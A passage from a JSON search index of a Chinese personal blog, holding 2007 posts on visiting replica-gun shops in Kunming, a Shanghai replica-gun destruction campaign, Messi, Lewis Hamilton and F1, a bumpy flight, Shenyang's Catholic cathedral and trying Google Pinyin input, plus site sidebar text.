可以给他打电话。\n又走了走，发现这里卖\u0026rsquo;狗\u0026rsquo;的大多都是这样，只摆出几种仿真手枪，不知道什么型号的手枪，不过看到国产92手枪的仿真枪了，有兴趣的不妨过来看看。但是别忘了买\u0026rsquo;狗\u0026rsquo;以娱乐为主，小心使用，避免伤人。\n昆明最近天气变化多端，时不时乌云密布，小雨哗哗，这不在我欣赏\u0026rsquo;电狗\u0026rsquo;的时候乌云已经悄悄跑到了头顶，赶紧上了公交车，回酒店了。\n","permalink":"https://tonybai.com/2007/04/23/visit-toy-guns-store-in-kunming-jingxing-market/","summary":"\u003cp\u003e昆明的交通真是一个\u0026rsquo;老大难\u0026rsquo;问题，早上去云南移动开电视电话会议，都9点15左右了，那个车堵的真是让我闹心，本来5分多钟估计就可以到的，我用了近20多分钟才到。开完会已是中午12点，移动的哥们请客到移动的食堂吃饭，移动就是移动，食堂饭菜比我们公司的好多了，价格还低廉，吃完饭搭移动哥们的车到了昆明著名的正义路景星花鸟市场，不为别的，就想来探访一下这里卖\u003ca href=\"http://tonybai.com/2007/04/20/thought-on-destroying-toy-guns-in-shanghai/\"\u003e\u0026lsquo;电狗\u0026rsquo;\u003c/a\u003e的店铺。\u003c/p\u003e","title":"探访昆明景星花鸟市场之卖'电狗'族"},{"content":"刚从新浪看到新闻，说是’上海警方集中销毁3万余仿真枪支’，恰逢这几天我对仿真枪是及其的着迷，所以，唉，感觉到有些可惜。\n仿真枪的Fans们，哦，对了，这几天我才知道这些Fans在圈内都互相称为’狗友’，我想这个’狗’应该是Gun的音译吧。当然不是所有拥有仿真枪的人可以成为’狗友’，我想只有那些真正对仿真枪感兴趣，仅仅将仿真枪用于游戏中而不是将之用于非法用途的人才算是’狗友’。\n从这次销毁行动也可以看出来国家对’仿真枪’的打击力度，今天和一位军品店的老板在淘宝网上聊，也得到同样的结论，最近较严，缺货，这也让我购买国产金弓(JG)G36C的愿望暂时成了泡影(业界著名的Tokyo Marui G36C更是可望而不可及的)。我也是一军迷，目前来说只算是’准狗友’，因为还没有一把真正属于自己的’电狗’，看到网上那些狗友们拿着自己心爱的’电狗’出没于树林、废弃厂房或者野外的身影，真是让我羡慕不已。\n言归正传，国内对仿真枪和管制刀具是越来越严，管制刀具自不必说，目前还不是很感兴趣，但是对仿真枪的管理实际上一直是狗友们的’心痛’呀。看着国外’狗友’们尽情享受着拿着自己的心爱的’电狗’驰骋在战场，而国内狗友则必须偷偷摸摸，买一把心爱的电狗，就像做贼一样，又如做地下党，卖’电狗’的商家也是用尽招数，还得卖电狗还要藏着掖着，不能太张扬，说实话，也真是难为他们了，而且这也变相的抬高了每把’电狗’的成本，狗友们也叫苦不迭，还好国内厂家的’电狗’质量愈来愈好，品种越来越多，这也是让国内’狗友’值得欣慰的地方，也不用看着外国狗友手中的电狗流口水了。\n国家对’电狗’管制当然有他的理由，电狗的威力在近距离还是很大的，人们在玩或者使用的过程中难免出现操作失误而伤人，我看过金弓G36C的威力测试，一个可乐易拉罐盒，可以轻易被G36C上面击穿，三枪下去可乐盒被彻底打瘪了。但是真正的’狗友’是不会让自己手中的’狗’乱’咬人’的，他们也不会让自己被别人的’电狗’乱咬的，在狗友们组织的野战游戏中，狗友们都是装备精良的，是100%不会被’狗’伤害到的。我在想国家是否可以考虑修改一下政策比如’持证拥有电狗’这样的策略，对卖’电狗’的也采用许可制，这样严厉打击非法持有电狗的人和卖狗的商家，而不会威胁到真正’狗友’的快乐了。\n‘狗友’一直期望国内政策能和国外接轨，在入世后的今天，国内多少东西都和国际接轨了，不知何年何月关于’电狗’的管理也和国际接轨呀。\n金弓电狗G36C，瞧瞧做的是不是和真的一样。\n","permalink":"https://tonybai.com/2007/04/20/thought-on-destroying-toy-guns-in-shanghai/","summary":"\u003cp\u003e刚从新浪看到新闻，说是’上海警方集中销毁3万余仿真枪支’，恰逢这几天我对仿真枪是及其的着迷，所以，唉，感觉到有些可惜。\u003c/p\u003e\n\u003cp\u003e仿真枪的Fans们，哦，对了，这几天我才知道这些Fans在圈内都互相称为’狗友’，我想这个’狗’应该是Gun的音译吧。当然不是所有拥有仿真枪的人可以成为’狗友’，我想只有那些真正对仿真枪感兴趣，仅仅将仿真枪用于游戏中而不是将之用于非法用途的人才算是’狗友’。\u003c/p\u003e","title":"有感于'上海集中销毁仿真枪支'"},{"content":"很遗憾，昨晚没能实时收看到梅西的那粒精彩的马拉多纳式的长途奔袭入球，虽然昨晚电视开了一个晚上，我也不清楚昨晚CCTV-5是否转播了该场比赛。今天中午看到这粒入球，看到进球后所有的FC Barcelona队员都长时间的围绕在梅西周围向他庆祝，我也不禁在电视前鼓起掌来。\n新浪体育用'20年1遇奇迹重现，梅西60米过5人进球翻版马拉多纳\u0026rsquo;来作为标题，作为阿根廷人，被誉为最有可能继承\u0026rsquo;球王\u0026rsquo;衣钵的梅西，今天再次展现出其出众的天赋，在小罗缺席的情况下，一次助攻，两个进球，其中还有一个可媲美世纪进球的入球，我相信球迷们已经被陶醉了，全场起立为梅西的精彩表演鼓掌，这已经是球迷能给这位精灵最大的荣誉了。记得去年写过一篇文章，我在那篇文章中称其为\u0026lsquo;精灵\u0026rsquo;，今天这个\u0026rsquo;精灵\u0026rsquo;发威了。梅西本赛季在受伤两个多月的情况下已经进球13个，还包括对皇马时的帽子戏法，这充分体现出其强大的进攻能力，和前球王马拉多纳是如此的相似，小个子，进军欧洲的第一站：FC Barcelona，似乎梅西也正在走了老球王的球王之路，但是成功也是不可复制的，梅西不是马拉多纳，他有他自己的成攻之路，目前这条路刚刚起步，摆在梅西面前的路还很长，我也期待着他加冕新一代球王的那一天。\n","permalink":"https://tonybai.com/2007/04/19/messi-on-the-way-to-new-football-king/","summary":"\u003cp\u003e很遗憾，昨晚没能实时收看到梅西的那粒精彩的\u003ca href=\"http://v.blog.sina.com.cn/b/2184761-1157857295.html\"\u003e马拉多纳式的长途奔袭入球\u003c/a\u003e，虽然昨晚电视开了一个晚上，我也不清楚昨晚CCTV-5是否转播了该场比赛。今天中午看到这粒入球，看到进球后所有的FC Barcelona队员都长时间的围绕在梅西周围向他庆祝，我也不禁在电视前鼓起掌来。\u003c/p\u003e\n\u003cp\u003e新浪体育用'20年1遇奇迹重现，梅西60米过5人进球翻版马拉多纳\u0026rsquo;来作为标题，作为阿根廷人，被誉为最有可能继承\u0026rsquo;球王\u0026rsquo;衣钵的梅西，今天再次展现出其出众的天赋，在小罗缺席的情况下，一次助攻，两个进球，其中还有一个可媲美世纪进球的入球，我相信球迷们已经被陶醉了，全场起立为梅西的精彩表演鼓掌，这已经是球迷能给这位精灵最大的荣誉了。记得去年写过一篇文章，我在那篇文章中称其为\u003ca href=\"http://tonybai.com/2006/06/17/messi-the-genius-of-pampas/\"\u003e\u0026lsquo;精灵\u0026rsquo;\u003c/a\u003e，今天这个\u0026rsquo;精灵\u0026rsquo;发威了。梅西本赛季在受伤两个多月的情况下已经进球13个，还包括对皇马时的帽子戏法，这充分体现出其强大的进攻能力，和前球王马拉多纳是如此的相似，小个子，进军欧洲的第一站：FC Barcelona，似乎梅西也正在走了老球王的球王之路，但是成功也是不可复制的，梅西不是马拉多纳，他有他自己的成攻之路，目前这条路刚刚起步，摆在梅西面前的路还很长，我也期待着他加冕新一代球王的那一天。\u003c/p\u003e","title":"梅西·走在通往新一代'球王'的路上"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/04/16/add-a-group-called-we-fight-on-blogbus/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"群组'We Fight!'"},{"content":"F1巴林大奖赛的激烈程度就好象今天昆明的天气一样，那叫一个热呀^_^。不过说实话，这是我第一次完整看完一次F1比赛，包括昨天的排位赛。而这次比赛让我知道了McLaren的新秀Lewis Hamilton，他给我的第一印象很好，我很看好他，他也让我决定以后会继续关注F1的，爱上F1也完全有可能哟。\n此前我对F1的了解也仅限于新闻报道，知道有法拉利，雷诺，迈凯轮等车队，知道车王舒马赫退役了，知道阿隆索(Alonso)近两年很火等等；而今天我是边看F1巴林站比赛，边在网络上搜索着所有关于F1的信息；在这些信息中让我最感兴趣的就是Mclaren的汉密尔顿，这位今年才参加F1的英国新车手居然连续三站都登上领奖台，两个亚军，一个季军，并成为新秀车手前三场比赛都登上领奖台的F1历史第一人；而且其之后每一次登上领奖台都会诞生一次新纪录；查看汉密尔顿的个人档案，才发现这是一位很有潜力的车手；要知道第一代车王赛纳就是迈凯轮的，第二代车王舒马赫在法拉利诞生；那么在舒马赫退役后，人们都在寻找可能继承车王衣钵的车手，人们把眼光聚焦在阿隆索、莱科宁等人身上，但是相信这个赛季三站比赛后汉密尔顿也进入了人们的视野，这位年轻新秀真是前途无量呀。目前阿隆索、莱科宁和汉密尔顿都以22分同坐在头把交椅上，下一站F1将回到欧洲，在巴塞罗那的赛道上，汉密尔顿会不会拿到其F1比赛的首个分站赛冠军呢，我是十分看好这位选手的，当然每场比赛的胜利不仅仅在于车手的发挥，还在于车队整体战术的应用得当，比如今天的莱科宁超越阿隆索就是利用进站的时机完成的。期待5月的F1欧洲系列赛，我会继续关注F1的，继续关注我心目中的新一代车王候选人-Lewis Hamilton，加油！\nLEWIS HAMILTON\n附：刘易斯.汉密尔顿的个人档案\n国籍 英国\n生日 1985 年 1 月 7 日\n出生地 英国 Stevenage\n婚姻状况 单身\n身高 1.74米 体重 68公斤 居住地 英国 Tewin\n最喜爱的音乐 R \u0026amp; B, Reggae, Hip-Hop 以及 funky house 爱好 弹吉它 , 音乐 , 训练\n网站 www.lewishamilton.com\nF1一级方程式赛车比赛\n2007 迈凯轮 F1 车队 ( Vodafone McLaren Mercedes): 车手\n竞赛史 2006 GP2 系列赛: 与 ART 夺大奖赛冠军 ; 5 场冠军 ; 6 次最快圈速 ; 在纽伯格林首获双项胜利 ; 摩纳哥 GP2 比赛的杆位夺得者和冠军; 在银石本土比赛第二次获双项胜利 ; 7 次亚军和 2 次季军。\n2005 F3 欧洲系列赛: 与 ASM 夺 F3 Dallara-Mercedes 冠军 ; 15 场冠军 ; 10 次最快圈速 ; 13 次杆位 ; 还剩 4 场比赛就已经稳获锦标赛冠军 ; 在荷兰赞德沃特 ( Zandvoort) 获 F3 大师赛冠军 , 包括杆位和创下圈速纪录 ; 摩纳哥 F3 大奖赛冠军 , 包括 2 次杆位和 2 场冠军及 1 次最快圈速 ; 法国 Pau F3 大奖赛冠军 ; 2 次杆位 , 2 场比赛冠军和 2 次最快圈速。\n2004 F3 欧洲系列赛: 第 5 名 ; 1 场冠军和在 Norisring 获季军 ; 在纽伯格林获季军 ; 巴林 F3 Superprix 冠军。\n2003 英国雷诺方程式: 锦标赛冠军 ; 10 场冠军 ; 9 次最快圈速和 11 次杆位 ; 最后两轮比赛前已稳获总冠军。\n2002 英国雷诺方程式: 第 3 名 ; 3 场冠军 ; 3 次最快圈速 ; 3 次杆位 ; 雷诺方程式欧洲杯锦标赛第 5 名 ; 1 场冠军 3 次登台领奖 ; 参加了 9 轮比赛的其中 4 轮。\n2001 英国雷诺方程式冬季系列赛: 总第 5 名。\n2000 A 方程式: 欧洲冠军 ; 所有 4 轮比赛的冠军 ; 世界杯冠军 ; 被授予卡丁车世界 1 号车手奖 ; 在巴黎 Bercy 获大师赛冠军 ; BRDC’ 新星 ‘ 会员的创立成员。 1999 欧洲大陆 A (ICA): 意大利 \u0026ldquo;Industrials\u0026rdquo; 冠军 , 少年级 ICA (JICA): 欧洲亚军 ; Trophy de Pomposa 冠军 , 意大利公开锦标赛第4 名。 1998 少年级 ICA (JICA): 迈凯轮未来冠军系列赛第 2 名 ; 意大利公开锦标赛第 4 名 ; 被迈凯轮和梅塞德斯奔驰签约成为年轻车手支持项目的发展对象。\n1997 少年级 Yamaha 赛: 超级英国冠军 ; 迈凯轮未来冠军系列赛冠军。\n1996 Cadet 级别赛: 迈凯轮未来冠军系列赛冠军 ; Sky TV 卡丁车大师赛冠军 ; 五国赛冠军。\n1995 Cadet 级别赛: 超级英国冠军 ; STP 冠军。\n","permalink":"https://tonybai.com/2007/04/15/lewis-hamilton-make-me-love-f1/","summary":"\u003cp\u003eF1巴林大奖赛的激烈程度就好象今天昆明的天气一样，那叫一个热呀^_^。不过说实话，这是我第一次完整看完一次F1比赛，包括昨天的排位赛。而这次比赛让我知道了\u003ca href=\"http://www.mclaren.cn/\"\u003eMcLaren\u003c/a\u003e的新秀\u003ca href=\"http://www.lewishamilton.com/\"\u003eLewis Hamilton\u003c/a\u003e，他给我的第一印象很好，我很看好他，他也让我决定以后会继续关注F1的，爱上F1也完全有可能哟。\u003c/p\u003e","title":"LEWIS HAMILTON让我爱上F1"},{"content":"再次由于工作原因，来到昆明，不过这次旅程，用\u0026rsquo;颠颠簸簸\u0026rsquo;来形容比较合适。\n今天全国大部分地区好像都是多云有雨的天气，我乘坐的CZ6415航班从沈阳桃仙机场出发，经停内蒙古首府呼和浩特，然后再到昆明。今天这趟航班的驾驶员驾驶技术不敢恭维，飞机不稳呀。客舱内的乘客\u0026rsquo;怨声载道\u0026rsquo;，要知道这可不是战斗机呀。加之各地上空云层较厚，当飞机穿梭于云层中时，那个晃呀，我坐在22排，通过舷窗可以清晰看到飞机的机翼在风中颤抖，因为昨天看了中央7套一档节目，讲的是美国F117表演时折断机翼的事件，让我产生联想，感到有些怕怕呀。这班航班机型是空客A319，不是很大，一般来讲大飞机的生存能力更强些。飞机每颤抖一下，我的手心都出一手汗；我旁边的那个男乘客也同样感到有些不适；后面的女同事干脆大声发起牢骚。飞机降落的时候也很是急速，让大家都颇为不适。\n在呼和浩特到昆明的路途中，飞机颤抖也很厉害，以前坐飞机我基本都没什么反应，但这次胃部很是难受，身体也很不舒服，有些恶心，轻微晕机，这样长途的飞机旅行以后还是少点好，痛苦啊!\n","permalink":"https://tonybai.com/2007/04/13/fly-to-yunnan-3rd-times/","summary":"\u003cp\u003e再次由于工作原因，来到昆明，不过这次旅程，用\u0026rsquo;颠颠簸簸\u0026rsquo;来形容比较合适。\u003c/p\u003e\n\u003cp\u003e今天全国大部分地区好像都是多云有雨的天气，我乘坐的CZ6415航班从沈阳桃仙机场出发，经停内蒙古首府呼和浩特，然后再到昆明。今天这趟航班的驾驶员驾驶技术不敢恭维，飞机不稳呀。客舱内的乘客\u0026rsquo;怨声载道\u0026rsquo;，要知道这可不是战斗机呀。加之各地上空云层较厚，当飞机穿梭于云层中时，那个晃呀，我坐在22排，通过舷窗可以清晰看到飞机的机翼在风中颤抖，因为昨天看了中央7套一档节目，讲的是美国F117表演时折断机翼的事件，让我产生联想，感到有些怕怕呀。这班航班机型是空客A319，不是很大，一般来讲大飞机的生存能力更强些。飞机每颤抖一下，我的手心都出一手汗；我旁边的那个男乘客也同样感到有些不适；后面的女同事干脆大声发起牢骚。飞机降落的时候也很是急速，让大家都颇为不适。\u003c/p\u003e","title":"颠颠簸簸三入滇"},{"content":"周末到小南街办事，以前从未在这停留过，这次发现这里有一座很宏伟的天主教堂，经了解得知这是沈阳乃至东北三省数一数二的天主教堂，典型的哥特式建筑在周围普通的住宅楼的拥簇下显得很醒目，特别是其顶部的那个金色的耶稣塑像，很是漂亮。\n从网上资料得知：该天主教堂亦称沈阳南关教堂，位于沈河区小南街南乐郊路40号。教堂原建于1878年（清光绪四年），1900年被义和团焚毁。现存建筑为1912年后重建。教堂位于东院，坐北朝南，南北长66米，东西宽17米，通高40米。砖混结构，青砖素面，正面顶部突出有两个方锥形尖顶，东西并列，上部装饰有“十”字架。建筑面积为1100余平方米，有堂宇120楹，其规模之大，是全国屈指可数的。整体建筑格局沿袭了欧洲文艺复兴时期的建筑形式，是典型的哥特式建筑。 1985年2月，市政府公布为市级文物保护单位。1988年12月辽宁省人民政府公布为省级文物保护单位。\n周末这里的人很多，我尝试到教堂里面参观，可是人流又把我挤了出来。只是听到里面大家跟随着讲师唱着某首歌曲。大教堂的乐声很是嘹亮，相信在周围几里的地方都能听到那肃穆的乐声。教堂正门南面是一个广场，是一个节假日休闲的好去处。\n沈阳天主教堂正身\n沈阳天主教堂侧身\n沈阳天主教堂塔楼\n","permalink":"https://tonybai.com/2007/04/09/shenyang-roman-catholic-cathedral/","summary":"\u003cp\u003e周末到小南街办事，以前从未在这停留过，这次发现这里有一座很宏伟的天主教堂，经了解得知这是沈阳乃至东北三省数一数二的天主教堂，典型的哥特式建筑在周围普通的住宅楼的拥簇下显得很醒目，特别是其顶部的那个金色的耶稣塑像，很是漂亮。\u003c/p\u003e","title":"沈阳·天主教堂"},{"content":"我是Google Fans，现在几乎每天都离不开Google的工具了，Gmail、Google Talk、Google Doc、Google Reader、Google Calendar、Google Bookmarks以及Google相册等等，今天Google拼音输入法正式发布，我又怎能不尝这个鲜呢^_^\n首先，完成这篇blog用的就是Google输入法。\n安装过程不必详说，中间步骤中有一步让你选择是否安装Google工具栏，看你的个人喜好了。安装后会在你的输入法任务栏中增加一个新图标，你用ctrl+shift可以在各种输入法之间切换。不过我以前一直喜欢用的ctrl+空格的方式对Google输入法好像无效。\n迫不及待的打开一个记事本，开始按照其官方站点上讲解的Feature开始试用，这里仅列一些让我很感到兴奋的Feature。\nGoogle智能组句，这个很是好用而且相对我以前用过的微软、紫光和拼音加加都好，句子可以连得很长。\n英文提示，这个功能主要用来当遇到生词的时候，Google输入法可以提示你，给你多种选择。用法：在中文模式下先输入v，然后在v后面输入你的英文单词，比如physiological这个单词，你只需输入vphy，然后就可以从提示中查找，找到后选择相应数字键即可，Google输入法的提示翻页也是用的\u0026rsquo;.\u0026lsquo;这个键，这也延续了以前的很多中文输入法，让大家可以平滑过度到Google输入法。\n笔划输入，以前我从未使用过比划输入，Google的笔划输入是通过在中文模式下先输入u，然后逐笔划输入，笔划键很是容易记：h(横),s(竖),p(撇),n(捺),z(折),d(点)，用每个笔划名的拼音头字母来做为笔划键，可以说是很有创意，不知道是否是Google首创。\n顿号的输入，在紫光等输入法中用的是\u0026rsquo;/\u0026rsquo;，在Google输入法中用的则是\u0026rsquo;\\\u0026lsquo;键，当然这个不是Google独创，拼音加加两个都支持。\n以前在输入\u0026rsquo;方案\u0026rsquo;这个词的时候，大部分输入法输入的都是\u0026rsquo;反感\u0026rsquo;，Google这回没让我失望，好像也是我见过的唯一正确输入方案的输入法。\n至于其他智能搜索、自动更新等等也都很不错的。大家可以参考Google输入法的官方主页上的说明去了解和使用Google输入法。\n","permalink":"https://tonybai.com/2007/04/04/experience-of-trying-google-input-method/","summary":"\u003cp\u003e我是Google Fans，现在几乎每天都离不开Google的工具了，Gmail、Google Talk、Google Doc、Google Reader、Google Calendar、Google Bookmarks以及Google相册等等，今天\u003ca href=\"http://tools.google.com/pinyin/\"\u003eGoogle拼音输入法\u003c/a\u003e正式发布，我又怎能不尝这个鲜呢^_^\u003c/p\u003e","title":"Google输入法试用心得"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 